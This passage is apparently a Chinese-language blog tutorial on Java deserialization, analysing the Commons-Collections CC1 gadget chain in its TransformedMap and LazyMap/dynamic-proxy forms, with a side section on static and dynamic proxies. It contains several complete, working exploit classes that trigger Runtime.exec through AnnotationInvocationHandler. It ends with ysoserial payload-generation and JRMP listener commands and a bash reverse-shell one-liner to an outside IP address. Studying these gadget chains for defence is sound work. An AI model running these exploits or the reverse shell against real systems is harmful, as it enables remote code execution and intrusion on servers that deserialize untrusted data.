来到该类的构造函数我们可以发现memberValues属性的值是可控的,我们在构造该类时即可设置相应的memberValues的值;

img

我们首先尝试一下是否真的如我们所说的一样获得我们想要的属性值;由于AnnotationInvocationHandler类没有设置public属性,默认default,所以不能直接通过new进行实例化对象,因此需要通过反射进行实例化;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package com.candy;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

/**
* @author candy
* @project Deserializatioin
* @file com.candy.AnnotationInvocationHandlerReadObject2setValue.java
* @date 2024/10/25 14:51
*/

public class AnnotationInvocationHandlerReadObject2setValue {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
Class<?> annotationInvocationhandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationhandlerconstructor = annotationInvocationhandlerClass.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhandlerconstructor.setAccessible(true);
Object annotationInvocationHandler = annotationInvocationhandlerconstructor.newInstance(Override.class, transformedMap);
byte[] ser = ser(annotationInvocationHandler);
deser(ser);
}

public static byte[] ser(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream(); //定义字节数组输出流
ObjectOutputStream oos = new ObjectOutputStream(baos); //定义输出流
oos.writeObject(o); //序列化对象
return baos.toByteArray();

}
public static Object deser(byte[] ser) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(ser); //读取执行字节数组作为输入流
ObjectInputStream ois = new ObjectInputStream(bais); //将字节输入流作为输入流
return ois.readObject(); //反序列化读取对象
}
}

通过下断点调试代码可以知道确实如我们所说,memberValues变量确实是我们所设置的参数;继续调试我们会发现我们无法进入447行的if结构中,尝试满足其判断;首先我们需要详细分析一下在AnnotationInvocationHandler类中重写的readObject函数

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type); //获取我们传入类的
} catch(IllegalArgumentException e) {
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

其中type是我们自己传入的一个类,通过Chatgpt工具查询一下底层源码的功能我们可以知道annotationType = AnnotationType.getInstance(type);是为了获取type类中的元数据返回一个AnnotationType实例,对该实例在调用memberTypes()属性名称类型作为键值对构成Map;可以将type数据传入Target.class进行调试,得到以下结果:

img

img

所以当我们传入Target.class时,我们确保我们的map中存在一个键的值为value即可进入447行的if结构;顺势之下,我们也通过了下面的那个if结构,因为下面的if结构仅是判断我们取出的是不是memberType类型的实例以及是不是ExceptionProxy类型的实例,均不是即可进入下面的if结构,因为我们的是value,所以成功进入下面的if结构;

但是到这其实还不能够完成我们弹计算器的功能;因为在AnnotationInvocationHandler类中重写的readObject函数调用的setValues函数中传入的参数不可控,我们需要的应该是传入Runtime对象,然后去获取它的exec方法进行执行;

为了解决上述这个参数不可控的问题,我们需要介绍两个类,ChainedTransformerConstantTransformer来解决问题;

  • ChainedTransformer的作用和功能

链式执行: ChainedTransformer 接受一组 Transformer 对象,然后依次对输入数据应用这些转换transform()操作。每个 Transformer 的输出会作为下一个 Transformer 的参数输入。

img

  • ConstantTransformer的作用和功能

主要作用是在转换transform()时返回一个预定义的常量值,无论输入是什么。也就是说,不管传递给 ConstantTransformer 的输入对象是什么,它都会忽略输入,始终返回构造时指定的常量值。

img

根据以上两个类的功能,我们可以使setValues传入任何参数时,最后调用transform时传入的参数均为Runtime.class,具体实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package com.candy;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

/**
* @author candy
* @project Deserializatioin
* @file com.candy.CC1_Exp.java
* @date 2024/10/25 15:28
*/

public class CC1_Exp {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Runtime r = Runtime.getRuntime();
Transformer[] transformers = {
new ConstantTransformer(r),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> annotationInvocationhandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationhandlerconstructor = annotationInvocationhandlerClass.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhandlerconstructor.setAccessible(true);
Object annotationInvocationHandler = annotationInvocationhandlerconstructor.newInstance(Target.class, transformedMap);
byte[] ser = ser(annotationInvocationHandler);
deser(ser);
}

public static byte[] ser(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream(); //定义字节数组输出流
ObjectOutputStream oos = new ObjectOutputStream(baos); //定义输出流
oos.writeObject(o); //序列化对象
return baos.toByteArray();

}
public static Object deser(byte[] ser) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(ser); //读取执行字节数组作为输入流
ObjectInputStream ois = new ObjectInputStream(bais); //将字节输入流作为输入流
return ois.readObject(); //反序列化读取对象
}
}

img

通过下断点一步步跟踪最后可以发现确实如之前预料的一样,最后的参数修改成为Runtime.class,达到修改参数的目的,但是继续运行会发现仍然产生异常;

发现在序列化的过程中产生了异常,这个问题的来源是因为Runtime没有实现serializable不能进行序列化;

img

这时想到ChainedTransform的链式执行以及之前利用过InvokerTransformer进行反射调用任意类的函数,那么可以结合ChainedTransformer和InvokerTransformer,多执行几次transform函数,实现通过单例模式反射调用exec函数;

1
2
3
4
5
Class<Runtime> runtimeClass = Runtime.class;
Method getRuntime = runtimeClass.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntime.invoke(null, null);
Method exec = runtimeClass.getMethod("exec", String.class);
exec.invoke(r, "calc");

先熟悉以下上述的反射调用exec函数的代码,我们在修改成InvokerTransformer调用即可;

1
2
3
4
5
6
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Object[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

最后得到我们完整的反序列化利用链代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package com.candy;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

/**
* @author candy
* @project Deserializatioin
* @file com.candy.exp.java
* @date 2024/10/25 15:48
*/

public class exp {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> annotationInvocationhandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationhandlerconstructor = annotationInvocationhandlerClass.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhandlerconstructor.setAccessible(true);
Object annotationInvocationHandler = annotationInvocationhandlerconstructor.newInstance(Target.class, transformedMap);
byte[] ser = ser(annotationInvocationHandler);

deser(ser);
}

public static byte[] ser(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream(); //定义字节数组输出流
ObjectOutputStream oos = new ObjectOutputStream(baos); //定义输出流
oos.writeObject(o); //序列化对象
return baos.toByteArray();

}
public static Object deser(byte[] ser) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(ser); //读取执行字节数组作为输入流
ObjectInputStream ois = new ObjectInputStream(bais); //将字节输入流作为输入流
return ois.readObject(); //反序列化读取对象
}
}

根据最后的利用链代码得出以下的流程图;

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

Requires:
commons-collections
*/

四、动态代理

这里先说说为啥要讲讲这个动态代理,首先是有一些反序列化链子中会涉及到这个知识点,如果不会到时候分析就会看得一脸懵,不知道为啥就会调用了;第二就是我们接下来分析yso的CC1链子中就利用了动态代理。

4.1 代理模式

代理模式是一种比较好理解的设计模式。简单来说就是 我们使用代理对象来代替对真实对象(real object)的访问,这样就可以在不修改原目标对象的前提下,提供额外的功能操作,扩展目标对象的功能。

代理模式的主要作用是扩展目标对象的功能,比如说在目标对象的某个方法执行前后你可以增加一些自定义的操作。

代理模式有静态代理和动态代理两种实现方式,我们依次尝试静态代理和动态代理的实现。

4.2 静态代理

静态代理中,我们对目标对象的每个方法的增强都是手动完成的(后面会具体演示代码),非常不灵活(比如接口一旦新增加方法,目标对象和代理对象都要进行修改)且麻烦(需要对每个目标类都单独写一个代理类)。 实际应用场景非常非常少,日常开发几乎看不到使用静态代理的场景。

上面我们是从实现和应用角度来说的静态代理,从 JVM 层面来说, 静态代理在编译时就将接口、实现类、代理类这些都变成了一个个实际的 class 文件。

静态代理实现步骤:

  1. 定义一个接口及其实现类;
  2. 创建一个代理类同样实现这个接口
  3. 将目标对象注入进代理类,然后在代理类的对应方法调用目标类中的对应方法。这样的话,我们就可以通过代理类屏蔽对目标对象的访问,并且可以在目标方法执行前后做一些自己想做的事情。

下面通过代码展示!

  1. 定义发送短信的接口
1
2
3
public interface SmsService {
String send(String message);
}
  1. 实现发送短信的接口
1
2
3
4
5
6
public class SmsServiceImpl implements SmsService {
public String send(String message) {
System.out.println("send message:" + message);
return message;
}
}
  1. 创建代理类并同样实现发送短信的接口
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class SmsProxy implements SmsService {

private final SmsService smsService;

public SmsProxy(SmsService smsService) {
this.smsService = smsService;
}

@Override
public String send(String message) {
//调用方法之前,我们可以添加自己的操作
System.out.println("before method send()");
smsService.send(message);
//调用方法之后,我们同样可以添加自己的操作
System.out.println("after method send()");
return null;
}
}
  1. 实际使用
1
2
3
4
5
6
7
public class staticProxy {
public static void main(String[] args) {
SmsService smsService = new SmsServiceImpl();
SmsProxy smsProxy = new SmsProxy(smsService);
smsProxy.send("Java is the best language!");
}
}

运行上述代码之后,控制台打印出:

1
2
3
before method send()
send message:Java is the best language!
after method send()

可以输出结果看出,我们已经增加了 SmsServiceImplsend()方法。

4.3 动态代理

内容来自:https://javaguide.cn/java/basis/proxy.html

相比于静态代理来说,动态代理更加灵活。我们不需要针对每个目标类都单独创建一个代理类,并且也不需要我们必须实现接口,我们可以直接代理实现类( CGLIB 动态代理机制)。

从 JVM 角度来说,动态代理是在运行时动态生成类字节码,并加载到 JVM 中的。

就 Java 来说,动态代理的实现方式有很多种,比如 JDK 动态代理CGLIB 动态代理等等。

下面通过代码展示一下JDK动态代理的效果:

4.3.1 基本类的介绍

在 Java 动态代理机制中 **InvocationHandler** 接口和 **Proxy** 类是核心。

Proxy 类中使用频率最高的方法是:newProxyInstance() ,这个方法主要用来生成一个代理对象。

1
2
3
4
5
6
7
public static Object newProxyInstance(ClassLoader loader,
Class<?>[] interfaces,
InvocationHandler h)
throws IllegalArgumentException
{
......
}

这个方法一共有 3 个参数:

  1. loader :类加载器,用于加载代理对象;
  2. interfaces : 被代理类实现的一些接口;
  3. h : 实现了 InvocationHandler 接口的对象;

要实现动态代理的话,还必须需要实现InvocationHandler 来自定义处理逻辑。 当我们的动态代理对象调用一个方法时,这个方法的调用就会被转发到实现InvocationHandler 接口类的 invoke 方法来调用。

1
2
3
4
5
6
7
8
public interface InvocationHandler {

/**
* 当你使用代理对象调用方法的时候实际会调用到这个方法
*/
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable;
}

invoke() 方法有下面三个参数:

  1. proxy :动态生成的代理类
  2. method : 与代理类对象调用的方法相对应
  3. args : 当前 method 方法的参数

也就是说:你通过**Proxy** 类的 **newProxyInstance()** 创建的代理对象在调用方法的时候,实际会调用到实现**InvocationHandler** 接口的类的 **invoke()**方法。 你可以在 invoke() 方法中自定义处理逻辑,比如在方法执行前后做什么事情。

4.3.2 JDK动态代理类的使用步骤

  1. 定义一个接口及其实现类;
  2. 自定义 InvocationHandler 并重写invoke方法,在 invoke 方法中我们会调用原生方法(被代理类的方法)并自定义一些处理逻辑;
  3. 通过 Proxy.newProxyInstance(ClassLoader loader,Class<?>[] interfaces,InvocationHandler h) 方法创建代理对象;

4.3.3 代码示例

1.定义发送短信的接口

1
2
3
4
5
package com.candy.dynamicProxy;

public interface SmsService {
String send(String message);
}

2.实现发送短信的接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.candy.dynamicProxy;

/**
* @author candy
* @project Deserializatioin
* @file com.candy.dynamicProxy.SmsServiceImpl.java
* @date 2024/10/26 20:06
*/

public class SmsServiceImpl implements SmsService {
@Override
public String send(String message) {
System.out.println("send message:" + message);
return message;
}
}

3.定义一个 JDK 动态代理类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.candy.dynamicProxy;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

/**
* @author candy
* @project Deserializatioin
* @file com.candy.dynamicProxy.DebugInvocationHandler.java
* @date 2024/10/26 20:06
*/

public class DebugInvocationHandler implements InvocationHandler {
/**
* 代理类中的真实对象
*/
private final Object target;

public DebugInvocationHandler(Object target) {
this.target = target;
}

@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
//调用方法之前,我们可以添加自己的操作
System.out.println("before method " + method.getName());
Object result = method.invoke(target, args);
//调用方法之后,我们同样可以添加自己的操作
System.out.println("after method " + method.getName());
return result;
}
}

invoke() 方法: 当我们的动态代理对象调用原生方法的时候,最终实际上调用到的是 invoke() 方法,然后 invoke() 方法代替我们去调用了被代理对象的原生方法。

4.实际使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.candy.dynamicProxy;

import java.lang.reflect.Proxy;

/**
* @author candy
* @project Deserializatioin
* @file com.candy.dynamicProxy.dynamicProxy.java
* @date 2024/10/26 20:08
*/

public class dynamicProxy {
public static void main(String[] args) {
SmsServiceImpl smsService = new SmsServiceImpl();
SmsService smsServiceProxy = (SmsService) Proxy.newProxyInstance(
smsService.getClass().getClassLoader(), // 目标类的类加载器
smsService.getClass().getInterfaces(), // 代理需要实现的接口,可指定多个
new DebugInvocationHandler(smsService) // 代理对象对应的自定义 InvocationHandler
);
smsServiceProxy.send("Java is the best language!");
}
}

getProxy():主要通过Proxy.newProxyInstance()方法获取某个类的代理对象

运行上述代码之后,控制台打印出:

1
2
3
before method send
send message:Java is the best language!
after method send

4.4 总结

说了这么多,我们需要知道的重点是什么呢?

  1. 动态代理的创建方法,后续我们看到相关代码的时候能够知道这个是使用的动态代理;
  2. 什么时候会调用invoke()函数,当代理的对象调用方法的时候就会调用InvocationHandler中的invoke()函数;

知道以上这两点,在以后的Java后序列化的学习中就差不多够用了。

五、yso的CC1利用链

上面不是分析过CC1利用链了吗?那这里还分析什么?

这里分析的是CC1链的另一个实现版本,该CC1实现进行了部分修改:

  • 不在使用TransformedMap进行利用,而是采用LazyMap动态代理技术实现利用链;
  • 相同点在于都采用InvokerTransformer进行函数调用命令执行的功能;

5.1 LazyMap调用transform函数

通过查找用法可以看到LazyMap中的get函数调用了transform,照常需要知道factory属性是否可控,设置我们需要的值;

与此同时,get函数为public属性,可访问,传入参数可控;

img

LazyMap中发现一个decorate函数与TransformedMapdecorate函数类似,可以设置factory属性的值,这样我们也就可以指定内容调用transform函数;

img

img

确定了这些以后,我们即可测试这部分内容是否可以构成利用,实践利用测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package com.candy;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

/**
* @author candy
* @project Deserializatioin
* @file com.candy.LazyMap2transform.java
* @date 2024/10/26 21:06
*/

public class LazyMap2transform {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, invokerTransformer);
lazyMap.get(r);
}
}

目前得到的流程图,如下图所示:

img

5.2 AnnotationInvocationHandler调用get函数

此处如果直接查找get函数的用法会有数不胜数的用法,但是在AnnotationInvocationHandler类中的invoke函数中也存在对get函数的调用;

并且可以发现这个invoke函数与我们上述讲的动态代理实现的那个invoke函数比较相似,至少在参数上一致

img

我们发现该类中实现了InvocationHandler

此时,想要调用invoke函数,我们就想到了动态代理。在一个类被代理了以后,通过代理调用该类的方法,就一定会调用该代理类重写invoke函数。

img

与此同时,AnnotationInvocationHandler类中存在重写readObject函数,也可作为入口类使用;

在原先的TransformeredMapCC1链的基础之上进行理解,readObject函数作用入口,memberValues属性调用了entrySet()方法,所以我们对memberValues属性进行设置代理,当它调用entrySet()方法时,会进行动态代理,则会触发invoke函数。

img

因此,最终得到以下的反序列化利用链(ChainedTransformer和ConstantTransformer的使用与之前分析的CC1链一致,不在详细讲解):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package com.candy;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

/**
* @author candy
* @project Deserializatioin
* @file com.candy.exp.java
* @date 2024/10/26 21:17
*/

public class exp {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, IOException {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHandlerDeclaredConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerDeclaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler)annotationInvocationHandlerDeclaredConstructor.newInstance(Target.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);
invocationHandler = (InvocationHandler)annotationInvocationHandlerDeclaredConstructor.newInstance(Target.class, proxyMap);
byte[] ser = ser(invocationHandler);
deser(ser);
}

public static byte[] ser(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream(); //定义字节数组输出流
ObjectOutputStream oos = new ObjectOutputStream(baos); //定义输出流
oos.writeObject(o); //序列化对象
return baos.toByteArray();

}
public static Object deser(byte[] ser) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(ser); //读取执行字节数组作为输入流
ObjectInputStream ois = new ObjectInputStream(bais); //将字节输入流作为输入流
return ois.readObject(); //反序列化读取对象
}
}

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/

六、yso工具的使用方法

https://github.com/frohoff/ysoserial

https://github.com/Y4er/ysoserial

1
2
3
4
5
6
java8u65 -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections3 "calc" > cc3.bin
java8u65 -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4 "calc" > cc4.bin
java8u65 -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 5555 Jackson1 "calc"
java8u65 -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "127.0.0.1:5555" > jrmpClient.bin
tar -xzf jdk-8u65-linux-x64.tar.gz
bash -i >& /dev/tcp/43.139.222.190/6666 0>&1

Java反序列化从零到入门
http://candyb0x.github.io/2024/12/11/Java反序列化从零到入门/
作者
Candy
发布于
2024年12月11日
更新于
2024年12月11日
许可协议